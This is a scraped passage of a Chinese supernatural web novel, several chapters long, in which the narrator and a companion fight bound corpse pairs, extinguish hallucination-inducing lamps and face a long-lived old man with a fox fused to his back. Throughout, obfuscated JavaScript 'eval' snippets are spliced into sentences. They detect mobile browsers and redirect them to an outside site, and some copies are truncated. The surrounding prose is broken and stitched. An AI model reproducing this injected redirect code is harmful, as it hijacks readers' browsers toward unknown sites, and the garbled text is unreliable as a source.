一直到这时候,我才隐约猜出了个大概。胖丫说的阴阳尸,其实就是一具人尸,再加一具妖尸。人为阳,妖为阴,我并不清楚这里面具体的门道,但这么怪异的结合,一看就不是什么善物。 我的脑袋无形中就变大了一圈,我以前一直觉得,师傅见多识广,跟我讲过很多很多事情,我的见识也算得上渊博,对江湖上那些把戏,至少都有所耳闻。 但到了这个破败的小庙,我才知道自己那点见识根本不够用,这种阴阳尸,我连听都没听说过。 同时,这事情也从侧面说明,当初占据了邪神庙的人里,一定有高手。 情况紧急,我也来不及多想,按照胖丫的吩咐,拿着刀就想把两具纠缠在一起的干尸给分开。 这样的干尸就好像两段盘绕的数根,贴的很紧,而且已经彻底定型,刀子捅到其中的缝隙里,用力一撬,两具干尸安然无恙。我不敢再发力了,害怕刀子会撬断。 在我全力想把两具干尸分开的时候,胖丫在前面挥舞着小木剑,横冲直撞。只不过,周围的气息,就仿佛烈焰寒冰完全交织在一起,活人进来,肯定坚持不了太久。 “你赶紧!”胖丫头也不回的喊道:“不把阴阳尸分开,就等着死在这阴阳炼狱里面吧!” “我在想办法!” 我也急眼了,手边除了刀子,没有别的趁手的工具,落在地上的两具干尸,就好像两节电池一样,噼噼啪啪不断的迸发出一道一道的乌光和白光,两种截然不同的淡光消散在空气中,我和胖丫承受的压力就无形中更重了一分。 心里一急,我脱下外衣套在手上,直接抓起地上的两具干尸,用尽全力朝地上摔了一下。干尸在这里留存的时间很久,已经没有一点水分了,虽然很硬,但也比较脆,在全力的摔打之下,干尸咔嚓就被摔断了一条手臂。 我觉得这也是没办法的办法,重新抓着干尸,继续用力朝地上摔,事关生死,我身上好像有用不完的劲儿,把这两具纠缠在一起的尸体一口气摔了十来下。 两具干尸承受不住这么大的冲击力,就像是一根大/麻花,被摔的七零八落,碎成了几十块碎块。 干尸彻底被分开的那一瞬间,凌乱的碎块,一下子就变的灰扑扑的。我觉得这个办法虽然笨了点,而且浪费时间,但至少可行。 胖丫精神也是一振,在前头舞动小木剑,这把剑拿在我手里和拿在胖丫手里,完全不一样,很快,又有两个白布包被划破了,里面纠缠着的干尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516482|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也随之应声落地。 我按照之前的法子,用力摔打干尸,正殿里的气息更复杂了,我觉得自己仿佛被丢到了一个火炉里,又如同掉进了千年不化的冰山中,随时都会被烧成灰,冻成冰。 “坚持住!别掉链子!” “我……我知道!” 我咬着牙,把另外两具纠缠在一起的干尸又摔打成了碎块。这办法的确有点用处,干尸被摔碎,我承受的压力也减轻了那么一点。 我和胖丫配合的还算默契,她在前面我在后面,掉落下来的阴阳尸接连被摔的面目全非。我抽空扫了一眼,房梁上垂落的白布包,大概还剩下五六个,要是中间不出什么意外,咬牙坚持下去,迟早能把眼前的困境给熬过去。 在这样强力的冲击之中,体力消耗的很大,胖丫虽然身子胖,终究是个女人,这时候显得有点乏力,却一点也不敢放松。 为了活命,我和胖丫都豁出去了,越战越勇。从房梁上掉落的阴阳尸,又被我连摔带踹的弄碎了几具。 就在我觉得翻盘有望的时候,正殿的四角,砰砰的爆出了几团火光,火光冲天而起,冒出来足有一米多高。这突如其来的变故把我吓了一跳,扭头一看,就看见角落中暴起的火光猛然缩了回去,变成了一缕正在跳跃燃烧的火苗。 直到此刻,我才真正看清楚,正殿的角落里,摆放着几口用来充当长明灯的水缸。水缸里的灯芯和擀面杖那么粗,燃烧的火苗也有一尺来高。 我的头皮顿时一紧,之前在外面的小屋里,就看到过这样的水缸,胖丫说了,这是无根灯,是很邪门的东西,无根灯燃烧的时候散发的烟气,会让人坠入幻境。 这东西无法防御,人就算再厉害,总不可能不开口呼吸。胖丫一看四个角落都燃起了无根灯,胖墩墩的身躯一颤,扭头说道:“赶紧把灯给弄灭!它要是烧的时间久了,咱俩都要死在这儿!” 第135章 不测境地 胖丫的话刚刚说完,整个正殿里好像响起了一阵呼呼的风声,那些已经势衰的乌光白光,猛的乍现出来。 我刚才还觉得情况好转了一些,但风声响起的一瞬间,我又好像坠入了阴阳炼狱,身躯如同要被撕/裂了一样,只要一抬脚,就会感觉整条腿随时会化成灰烬。 体力似乎也在急速的流逝,连走都走不动了。胖丫一看我的样子,气急败坏的喊道:“哎呀!你真是没用!” 她咬了咬牙,挥动手里的小木剑,唰唰几下,把房梁上还悬挂着的两个白布包给划开,里面包裹的干尸落地之后,胖丫起身就冲向了大门,想要硬把大门给撞开。 只不过现在的情况比刚才好像更糟糕,胖丫二百来斤的身躯刚刚碰到大门,嘭的一下子又被弹了回来。周围的乌光和白光一时间就像是潮水,直接把胖丫给淹没了。 好在胖丫有点门道,在地上打了几个滚,拿着木剑来回乱挥,勉强又爬了起来。她这一次尝试,结果显而易见,我们还是冲不出去。 冲不出去还是小事,可正殿里四角的无根灯已经在燃烧,用不了多久,无根灯的烟气弥漫出来,我和胖丫就会陷入无法挣脱的幻境中。 眼下只能一边把阴阳尸全都给打碎,一边去想办法灭掉无根灯。 “你别停!在这儿对付这些阴阳尸!” “你去把无根灯灭掉?”我觉得,角落里的无根灯既然已经燃起,就不是那么轻易可以熄灭的。 “不然呢?都死在这儿?就算你想死,我还不想死呢!” 胖丫白了我一眼,转身就冲着一个角落奔了过去。我不敢怠慢,继续抓着地上的干尸,拼命一般的摔打。 此时此刻,我们俩都已经在拼命了,尽管情况不好,但咬紧牙关还是能坚持一下。我的双手双腿都有些发软,硬憋着一口气,接连摔碎了两具阴阳尸。 地上的阴阳尸,就剩下三具比较完整的,正殿里的炼狱气息,似乎又衰减了一点。我又抓起一具阴阳尸,猛的朝地上一摔,顺势转头看了看胖丫。 胖丫已经冲到了无根灯的跟前,无根灯的灯芯露在外面,我觉得拿着灯芯按到灯油里,灯火就有可能熄灭。 我能想到的,胖丫肯定也能想到,但她跑到跟前,似乎就不动弹了,直挺挺的站在那边,时不时的轻轻挪动一下脚步,似乎正在跟什么东西对峙。 阴阳尸还没有完全解决掉,即便留下一具,我也害怕会引发什么后患,胖丫的门道比我多,她应该能搞的定。 我接着就抓起阴阳尸,没命的摔打,摔了几下,我就感觉到,正殿里的空气,似乎有一点点不易觉察的臭味。那种臭味很淡很淡,如果不是鼻子特别灵敏的人,估计闻不到。 不知道是不是心理作用,当我闻到这股臭味的时候,潜意识里就觉得,这一定是无根灯燃烧之后的烟气。一出现这个念头,我就感觉脑子有一点昏沉。 我的体力有点跟不上了,抓着阴阳尸来来**的摔了几十下,才把它彻底摔散,面前就剩下一具阴阳尸了,我想尽快彻底解决掉,当我抓起最后一具阴阳尸,站在角落那边的胖丫,突然就动了。 我看见胖丫张牙舞爪的,挥拳抬腿,身子一会儿朝着左边转动,一会儿朝着右边转动,就如同正在抓着什么东西,跟对方殊死搏斗。 可是,胖丫面前是空的,什么东西都没有,只能看见她像是跟人跳交谊舞一样,晃来晃去。 “胖丫!胖丫!” 我喊了两声,胖丫充耳不闻,我知道情况肯定不妙,眼前还剩下最后一具阴阳尸,眼瞅着就要彻底解决它们了,可胖丫的情况危急,我只怕耽误那么两分钟,就会有很严重的后果。 无奈之下,我只能先把阴阳尸丢下,转身要去胖丫那边。 我刚刚一转身,胖丫的身躯猛然一颤,就好像脑门子被什么东西给重重砸了一下,仰面朝天的躺下了。而且,胖丫躺的很彻底,连挣扎都没挣扎,两只胳膊无意识的抽搐了几下,整个人就不动了。 我和胖丫不熟,连她的来历都不知道,此时此刻,要过去救她,肯定要冒很大的风险。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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态度转变 我不知道是不是手电和无根灯的光混合到了一起,让人产生了一种缥缈虚无的感觉,那个头上脸上都烂成了洞的死婴,的确出现在我的视线中,但突然就让我觉得不太真实。 因为胖丫说过,无根灯的烟火能让人产生幻境,这种幻境如果控制的好,那么就是一个有助于修行的捷径,如果控制不好,就会是一条死路。 我这辈子第一次看见无根灯,不可能控制它,所以,胖丫的话就在我心里形成了先入为主的概念。 就因为胖丫的话时不时的就从脑海中飘过,我才越来越觉得,视线里那个死婴,愈发的不真实。 死婴一直都在扑来扑去,我不敢让它碰到,因此始终在躲闪,当我觉得这事情有点奇怪之后,为了验证一下自己的判断,躲闪了两下之后,猛然停下了脚步。 我的脑子是有一些昏沉,就跟喝了酒似的,在我停下脚步的同时,使劲的晃了晃头。 前后不过就两秒钟的时间,当我再次回过头的时候,正在朝我猛扑过来的死婴,突然就好像一片泡沫,唰的一下子无影无踪了。 无根灯的灯火仍然在燃烧,我能看到带着光晕的火光,还有袅袅升起的烟气。死婴的确是消失了,再也没有半点踪迹。 我低头看了看,胖丫仍旧躺在地上,我没有急着去救她,抢先一步冲到了无根灯跟前。低头一看,半缸灯油基本还是凝固着的,表面很平整,看不出被搅/动的痕迹。 我用刀子在灯油里面一划拉,果不其然,一个小小的死婴就被扒拉了出来。 这一切都证明,我的推测是准确无误的,蜷缩成一团的死婴本身对我构不成什么威胁,刚才真的是被无根灯的烟火气给影响了。 我直接把灯芯完全按到灯油里,灯火立刻熄灭了,紧跟着,我又冲到另外一个角落,这一次,我什么都不管了,心中保持着一点清明,我觉得,只要自己紧守着最后的清醒,幻境就无法彻底的侵蚀我。 这一招竟然真的很管用,当我冲到第二个水缸跟前的时候,隐隐约约,就能看到一个死婴的身影,好像悄悄从水缸里爬了出来。我二话不说,根本连停都没停,直接就把燃烧的灯芯按到灯油里。 死婴模糊的影子一瞬间就消失了,灯火也随之熄灭。我浑身上下都是劲儿,立刻贴着墙根狂奔出去,又来到了另一个角落的无根灯面前。 我已经摸到了窍门,无根灯的烟火气对我的影响就微乎其微,接下来,我把剩下的两盏无根灯全都弄灭,等这一切做完,转身就想要回到原处,去把胖丫给弄醒。 然而,我只跑了一半儿,一下就愣住了。胖丫刚才还一动不动的躺在地上,可这时候,她足足二百来斤的身躯就仿佛被一只无形的大手给抓了起来,整个人悬浮在距离地面一米多高的地方,缓缓的上下起伏。 胖丫死气沉沉的,大脑袋和双手双脚都软绵绵的耷拉着,估计还是没有恢复知觉。 这一刻,我有点手足无措,猛然一咬牙,又朝前跨了两步,一把抓起仅剩下的一具阴阳尸,用力在地上连着摔打了十几下,干尸咯嘣咯嘣的碎成了碎块。 但是,胖丫现在的状况,可能跟阴阳尸已经没有关系了,所有的阴阳尸现在都被打碎,胖丫仍然悬浮在距离地面一米多高的地方。 这到底是怎么回事? 我搞不清楚现在的具体形势,一步一步慢慢的靠近,同时还在左右的观察。虽然已经在正殿里呆了这么久,但是刚才一进门就被阴阳尸给困住,没时间去考虑那么多,直到现在,我都还没看清楚整个正殿的布局。 这个小庙的正殿,和别的庙宇区别不大,正中间是庙里供奉的神像,神像前头是一个香案,摆着一只香炉。 因为年久失修,神像已经断裂了一半儿,分辨不出究竟是什么神。 然而,让我感觉非常震惊的是,神像前面那张供桌上的香炉里,竟然燃烧着三支香。 这三支香,肯定不是胖丫点燃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我紧张的思索了一下,胖丫要继续逗留,肯定还会有预料不到的危险。但是转念一想,这次到邪神庙,就是为了查找些线索,如果现在退走了,后面该怎么办? 既然是个脓包,迟早都要挤掉,现在胖丫也在,总比我将来一个人单打独斗的强,因此我只思索了半分钟,就认同了胖丫的意见。 “可惜了那把剑……”胖丫一边朝前面迈动脚步,一边自言自语一般的嘀咕了一句。 “剑是别人的,暂时拿给我用用,现在毁了也没办法。” “这东西都有人借给你用?你人缘还怪好呢。” 我不知道胖丫是在麻/痹敌人,还是缓解我紧张的压力,一边走,一边不断的嘀咕着。 正殿的面积不算小,不过构造却比较简单,我们贴着墙,绕着正殿走了一圈,重新回到了正门方向的位置。 “阴阳尸,都碎成块了。” “都摔碎了,现在是比刚才好了些。还有,胖丫,你看……” 我让胖丫看了看供桌上的香炉,那三支点燃的香,现在基本都快熄灭了。 “你大爷的,我不叫胖丫。” “好好好,我记住了。” 我跟胖丫搭话的时候,一点都没有松懈,眼观六路耳听八方,正殿现在好像完全安静了下来,没有一丝一毫的声响,我抬头看了一眼,正殿的房梁上面已经空了,应该藏不住别的东西,只剩下十来根绳子,轻轻的左右晃动。 “这小庙,到底还有人没人?你说,以前这里供奉的神,是什么神?” “我也不知道。” “你这点见识,我就多余这么一问。” 胖丫一边说话,一边悄悄的伸出手,朝我晃了晃,她虽然连头都没回,但我好像跟她很有默契,我觉得她好像是要我手里那把刀。 我把刀轻轻塞到胖丫手里,胖丫拿着刀,陡然间一抬手臂,沉重且锋利的刀,闪过一道寒光,嗖的被甩了出去。 胖丫的力量用的非常巧妙,刀子如同一道流光,又快又准,紧跟着,我就听到噗的一声,刀尖直接刺到了那尊已经残缺的神像身上。 神像被刀扎中,左右晃动了一下,这时候,我就觉得不正常了,胖丫那一刀是甩出去的,就算力量再大,也不可能让沉重的神像晃来晃去的。 我脑子里的念头还没转完,半截子神像就像是一个不倒翁,噔噔噔的左右乱晃,周围的灰尘一片一片的飞扬起来,胖丫可能是察觉到了目标,一个箭步冲了上去。 “出来!” 胖丫伸手就把供桌直接掀了起来,朝着神像推了过去。这一股力道绝对不小,供桌一下子四分五裂,荡起的灰尘如同浓雾,顿时就遮挡了视线。 我的反应还是够快的,在灰尘飘扬起来的那一瞬间,我就感觉神像那边有什么东西要出来。 “胖丫!小心!” 胖丫也不是白给的,我的话音还没落地,胖丫已经**如飞。 我看到一团影子从灰尘中冲了出来,急追胖丫,胖丫一直退到了正殿的大门处。这里的阴阳尸已经全部都被摔碎了,四盏无根灯也已熄灭,胖丫退到门口,连停都没停,嘭的一声,直接把大门给撞开,滚了出去。 那团从灰尘中冲出的影子,一刻不停,也跟着胖丫冲到门外,我一看那团影子,就觉得头大。 影子的周围,聚拢着一圈一圈荡漾的灰尘,灰尘厚厚的一层,看不清楚里面到底是什么。 不过我能确定,我和胖丫进入正殿遭到袭击,肯定跟这团影子有关。 胖丫退出去之后,那团裹着灰尘的影子就好像一个球,在胖丫身前身后来回的晃动。那团影子越来越快,晃的人眼花缭乱,我就觉得手里没家伙很不踏实,趁着他们对峙的机会,反身跑回正殿,把刀子给找了回来。 我拿着刀子重新跨过门槛的时候,就看到那团影子好像和胖丫撞到了一起。厚厚的灰尘立刻弥漫开来,我看不清楚具体的过程,也就是两秒钟时间,胖丫踉跄着又退了几步。 我觉得胖丫估计是吃亏了,退出来之后,连站都站不稳,直接坐到了地上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518274|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灰尘还是在缓缓的缭绕,依然把那团影子严严实实的遮挡了起来,根本看不清楚究竟是什么东西。 那东西显然是盯紧了胖丫,不等胖丫翻身爬起,又一次逼近到跟前。我握着刀,快步上前,想要给胖丫解围。我们之间只有几米的距离,可这几米距离,却如同一道天堑,我就算跑的再快,可能也来不及了。 胖丫也知道危在旦夕,她连站起身的机会都没有,猛的喷出一口血。 这一口血很快就变成了蒙蒙的血雾,在阴沉的夜色中荡起一片妖异的猩红,那团已经逼近胖丫的影子,不由自主的顿了顿。 胖丫趁着这个机会,从地上一跃而起,一头就扎入到了蒙蒙的血雾中,她的身影在雾里穿梭,一步迈出,胖丫的身后就好像凝聚起一道自己的影子。 胖丫一口气跑出了十几步,蒙蒙的血雾中似乎一下子就多出十几个一模一样的胖丫。这么多壮硕的身影在血雾里走马观花一般的绕动,我立刻就眼花了,已经分辨不出真正的胖丫是哪一个。 十几个胖丫的身影绕着那团被灰尘所包裹的东西,来来**的兜圈子,那东西停下来就不动了,应该和我一样,也分辨不出到底哪一个是真的胖丫。 我也停下了脚步,胖丫跟对方斗的正凶,我现在冲过去,估计帮不上什么忙,反而会给胖丫添乱。 局面似乎是缓和了一点,那么多胖丫的影子转来转去,只要找到机会,真正的胖丫一定会趁势发起致命一击。 就在这时候,我突然听到了一阵尖利的冷笑声,那阵冷笑声,应该就是从厚厚的灰尘里传出来的。 这阵冷笑声让我觉得很不妙,而且心慌,还没等我反应过来,厚厚的灰尘嘭的一下爆散了。 十几道胖丫的身影,在这弹指刹那间就消散于无形,只剩下胖丫的真身。胖丫估计也吃了一惊,不等她转身逃跑,一股强到让人窒息的力量,直接就撞在了她的后心上。 我说不出来这股力量究竟有多大,二百来斤的胖丫就好像一只麻袋,被撞出去足足有四五米远。 第138章 老杂** 胖丫被撞的这么惨,也让我的心猛然一沉,我觉得胖丫虽然有些门道,终究还是太年轻了,她估计不是对方的对手。 一直到现在为止,我都没看清楚那一团厚厚的灰尘里究竟是什么东西,都搞不清楚对方是什么东西,我和胖丫注定还得吃亏。 胖丫虽然是个姑娘,但是性子却很倔强,被撞的那么惨,还是勉强爬起来,转身继续跟对方周旋。 空荡的小院里一片混乱,风卷着尘土,严重遮挡了视线,我站在一旁急的直甩手,可是什么都看不清楚。 过了半分钟,弥漫的尘土里又传出了砰砰的声响,还伴随着一道一道红光。我大概能判断出来,灰尘里包裹的东西,不仅力量很大,而且还有道行,胖丫果然是占不到一点便宜。 此时此刻,我还是原来的念头,既然在邪神庙遇上麻烦了,就不能退缩,否则我后续的行动会更加艰难,现在唯一的出路就是尽力帮着胖丫撑住局面。 我这边正在紧张的寻找机会,胖丫又一次被撞飞了出来,这一次她摔的更惨,整个人好像要散架了一样。 而且,灰尘里的那团东西显然是想把胖丫给弄死,不给她喘/息的机会,胖丫刚刚落地,那东西已经追到了跟前。 我在后面拔脚就想过去,等我的脚一抬起来,顿时就惊呆了。 胖丫已经没有还手的余力,面对对方的不断紧逼,似乎只剩下死路一条,可是让我意想不到的是,胖丫竟然一下子把自己的脑袋给揪了下来。 这是谁都无法预料的,很难想象,一个人怎么可能把自己的脑袋给活活的揪下来。 我看到的绝对不是幻觉,胖丫双手揪下自己的脑袋,就和打篮球一样,用力朝着灰尘中的那团东西抛了过去。 灰尘中的东西肯定也不敢直接去碰胖丫的脑袋,这样的怪事,不仅我没见过,估计所有人都没见过。胖丫的脑袋直接落在了地上,就像是一个陀螺,骨碌碌的转动着。 看见胖丫把自己的脑袋都给扔出去了,我的心一下子凉了半截,但是紧跟着,我就看到丢了脑袋的胖丫,还在地面上手脚并用的爬,一口气就爬到了我这边。 “胖丫……你……你怎么样……” 我只觉得心慌,不由自主的就问了一句,但是话一出口,又感觉自己很蠢,胖丫的脑袋都没了,她拿什么听我说话? 胖丫爬到我这边之后,就趴在地上不动了,我总感觉这件事情很令人惊讶,但又特别奇怪。脑袋被拽掉,但是伤口却没有流血,甚至连一点点血迹都看不到。 我这边还没来得及细看,胖丫的脑袋在那边转动的更猛烈了,真的像是一个大陀螺,被人用鞭子猛抽。 脑袋上本来就是长头发,在急速的转动中,头发似乎一瞬间就暴涨成了一大团,密密麻麻的头发朝着灰尘中蔓延过去,速度很快。 我觉得,灰尘里的东西,应该是被缠住了,它一动,就带着胖丫的脑袋来来**的一起动。 眼前的这一幕情景,真的让我终身难忘,一团不知名的东西,拖着一颗脑袋转来转去,最关键的是,脑袋的主人就在我身边趴着。 然而,胖丫这一招只能短暂的拖住对方,对方的道行估计很深,时间一久,这把戏就不管用了。我能看到脑袋上的头发一缕一缕的崩断,下一秒就会被对方直接给甩飞。 果然,脑袋上的头发很快就完全断了,等脑袋被甩出来的那一瞬间,我发现脑袋上的皮肉,以肉眼可见的速度急剧的腐烂,烂成了黏糊糊的一大滩。 呼!!! 脑袋在地上转了两圈,又一次飞了出去,这一次,灰尘里的东西应该没躲过,脑袋连同外面那层黏糊糊的皮肉啪的就贴到了对方身上。 潜意识告诉我,这时候肯定是我动手的好机会,可我一直看不清楚,那团灰尘里究竟是什么,不知道对方的底细,这样冒然冲上去,万一真出了意外,连救我的人都没有。 就在这一刻,我的手无意中在身上一摸,就摸到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522203|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口袋里一个很小的小瓶子。 这只小瓶子还是在王川山的时候,那个照相的姑娘留给我的,瓶里的水儿涂抹到眼睛上,能看到一些肉眼无法看到的东西。 小瓶里面还剩下一点点水,我没舍得丢,放在身上差点就给忘记了。 我一把拿出瓶子,把里面剩下那点水涂抹到眼皮子上,眼睛猛然模糊了一下,过了不到一分钟,视线才重新清晰。 这一次和上次在王川山一样,一抹上这东西,两只眼睛就仿佛是火眼金睛,看什么都有一种透彻感, 那团本来根本就看不穿的厚厚的灰尘,瞬间就变的如同玻璃一样透亮,这一刻,我终于看到了灰尘里的东西。 那是一个人,我肯定不会看错,绝对是一个人,虽然长的瘦骨嶙峋,但能清楚的看到对方的头颅和四肢。 胖丫脑袋上黏糊糊的皮肉,已经贴了对方一身,这些皮肉还没贴/上去的时候,就已经开始腐烂,等贴到那人身躯上之后,黏糊糊的皮肉似乎带着极强的腐蚀力,那人的衣服一瞬间就开始冒烟,被腐蚀的千疮百孔。 灰尘里的那个人明显有一点急躁,黏糊糊的东西如果真沾到自己皮肤上,可想而知,必然会一烂一大片。 那人匆忙就脱下自己的衣服,露出像是老树皮一样的身躯。 随即,对方转了个人,把粘在头发上的东西甩掉。此时此刻,我和对方脸对脸,一下子就看清了他的容貌。 这是个说不上有多大岁数的老头儿,头发稀稀拉拉的,让我感觉震惊的是,这个老头儿的脸上,有一块乌黑的胎记。 我清楚的记得,二婶几十年前来过邪神庙,她说了,当时庙里只有一个老头儿,脸上有一块很显眼的胎记。因为那个老头儿显得邪气森森,二婶心里不踏实,没有逗留就离开了。 几十年时间过去,连二婶都觉得,那老头儿肯定早就**。 可我没想到,这个老杂**的命竟然这么长,一直活到了现在。 第139章 金蝉脱壳 很多事情,现在肯定是没时间去细想了,这个老杂**为什么能活这么久,我也不想去深究,现在的首要之务是赶紧把局面稳住。 我看得出来,老杂**在全力的甩脱胖丫的脑袋,现在他看上去有点手忙脚乱,但是再过一会儿让他缓过这口气,后果会很严重,我没有别的家伙事,握着手里的刀,咬牙就准备硬冲上去,跟对方拼一拼。 “你还……还磨叽什么?赶紧……动手……” 我这边还没跑过去,趴在一旁的胖丫竟然说话了,我没有听错,那真的是胖丫的声音。 一瞬间,我就觉得头大如斗,胖丫的脑袋都掉了,她是拿什么跟我说话的? “胖丫……” “你再叫胖丫,我抽死你……赶紧……动手……” 我回过神,转头就朝着老杂**那边冲了过去,老杂**肯定知道我已经靠近了,他抬头看了我一眼,那双深邃的眼睛,仿佛像是一片虚无的宇宙,让我不由自主的打了个冷战。 可我没有选择的余地,到了这种地步,不是他死,就是我亡,我冲到跟前,一刀就捅了过去。 老杂**的动作明显受到了很严重的影响,躲闪的时候手脚都施展不开,他拼尽全力躲过了第一刀,我不给他还手的机会,跟着又是一刀。 这一刀是奔着老杂**的心口而去的,我觉得,他应该是躲不过了。 就在这电光火石的刹那间,我突然看到老杂**的背后,唰的探出来一张脸。 这张脸,我原本是看不到的,就因为眼皮上抹了东西,才看出来个轮廓。 从老杂**背后出现的那张脸,看着像是一张尖尖的狐狸脸。和老杂**一样,这张狐狸脸也不知道活了多少年了,只剩下几根稀稀拉拉的白毛。 这张脸突然一出现,把我吓了一跳,下意识的就顿了顿,老杂**趁着这个机会,猛然一拧身躯,我手中的刀噗的一下,捅到了他的腰上。 这一刀的力道没有衰减,刀锋直接没入了一小半,鲜血唰的就顺着伤口喷洒出来。只可惜,因为自己顿了一下,没能刺中要害。 我想抽回刀子,但是刀锋被夹到对方的肌肉里,一时间竟然抽不回来,**脆连刀子都不要了,转身想跑。 我一转身,就觉得后背像是被一柄大铁锤给砸了一下,眼前一黑,差点昏死过去,我不由自主的扑倒在地,惊恐的转过身。 刚才那一下,真的是让我有些承受不住,我的眼神立刻开始恍惚,意识也跟着模糊了起来。 我能看到老杂**一步一步朝我走过来,而且在这一刻,我也彻底看清了他的全貌。 老杂**的确是个人,他的背上趴着一只狐狸,那只狐狸的四条爪子都没有了,肚皮好像和老杂**的脊背长到了一起。 我的视线已经非常模糊,想要站起身,但后背挨了一下子,整个人似乎要散架了一样,根本就爬不起来。 此时此刻,我只能指望胖丫,我知道,她的门道很多,刚才把自己的脑袋给揪掉,肯定是个障眼法,胖丫一定还活着。 趁着自己还没昏厥,我艰难的转头朝胖丫那边看了一眼,或许是凑巧,当我的目光投过去的同时,我就看到胖丫硕/大的身躯中,刺溜钻出来一道影子。 那道影子也是个人,我敢确定,是个活人。那个活人身材不高,而且很苗条,从胖丫的身躯钻出来之后,二话不说,连滚带爬的冲到了北墙根,翻身爬了过去。 我心里就想把胖丫十八代祖宗都问候一遍,她刚才被打的无法还手,我都没想着自己逃命,等我身陷不测,她跑的比兔子都快。 可是,我已经骂不出口了,脑子里一阵恍惚,后背上的伤处传来难以想象的剧痛,让我直接昏了过去。 我的脑袋并没有受什么伤,所以昏厥的时间应该不长,等我苏醒过来的时候,后背还是觉得钻心的疼,那种疼痛,不仅仅是被重物砸了一下那么简单,就好像骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522204|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头都碎了。 我觉得自己是在一间小屋子里,旁边亮着一盏灯,我艰难的一翻身,刚想爬起来,那个老杂**一闪身,直接从旁边黑暗的角落中走到我跟前。 我慢慢抬头看了看,老杂毛腰上缠着一圈白布,我捅他那一刀虽然不致命,但伤口特别深,要休养很长时间才能痊愈。 此时此刻,我的肠子都悔青了,我把老杂**弄成了重伤,这时候又落到他手里,我能有好果子吃吗? 老杂**慢慢的蹲了下来,看了看我,他的眼睛,真的像是一片深邃的宇宙,看不出深浅,也无法从他的目光里查找什么破绽。 “这个人,是谁?” 老杂**开口说话了,他的嗓音沙哑,而且语气很生硬,就仿佛一个常年都不说话的人,快要忘记怎么跟人交谈。这种声音让我从心底深处感觉到恐慌。 老杂**说话的时候,还抬手朝旁边指了指。我看到胖丫的身躯就在一旁。 “我不认识这个人……” 老杂**听到我的话,微微翻了翻眼皮子,我心里叫苦不迭,我说的都是实话,因为确实不认识胖丫。可是,老杂**肯定不信我说的,我浑身是嘴都解释不清楚。 “你不认识?” “我真不认识,只是凑巧……凑巧跟她碰上了……” 老杂**对我的解释不置可否,我和胖丫一起联手对付他,他都看在眼里了,别说是他,就算换了任何人,都不会相信我现在说的话。 我不由自主的转头看了看胖丫的身躯,老杂**把一旁的油灯朝这边挪了挪,油灯的灯火虽然只有两寸高,可是火光却能把周围的一切映照的非常清晰。 在火光照到胖丫的身躯上时,我愣住了,赶紧又凑近了一些,仔细的看了看。 看着看着,我的心头猛然一动。 虽然从我见到胖丫开始,她对自己的来历只字未提,但到了这时候,我已经隐约知道了她的底细。 第140章 松动的骨头 胖丫身躯的伤口一点血都没有,在灯火的映照下,我看到伤口上面有一圈很难察觉出的针脚。 除此之外,还有很多很多被扯断的细丝,这些细丝是透明的,十根细丝拧在一起都没有一根头发粗。 就因为这样,伤口上的针脚才会不易觉察。 我心里已经有了隐约的判断,但又不能百分之百的确认,我试探着伸出一只手,在伤口上摸了摸。老杂毛没有阻拦我,一声不吭的在旁边。 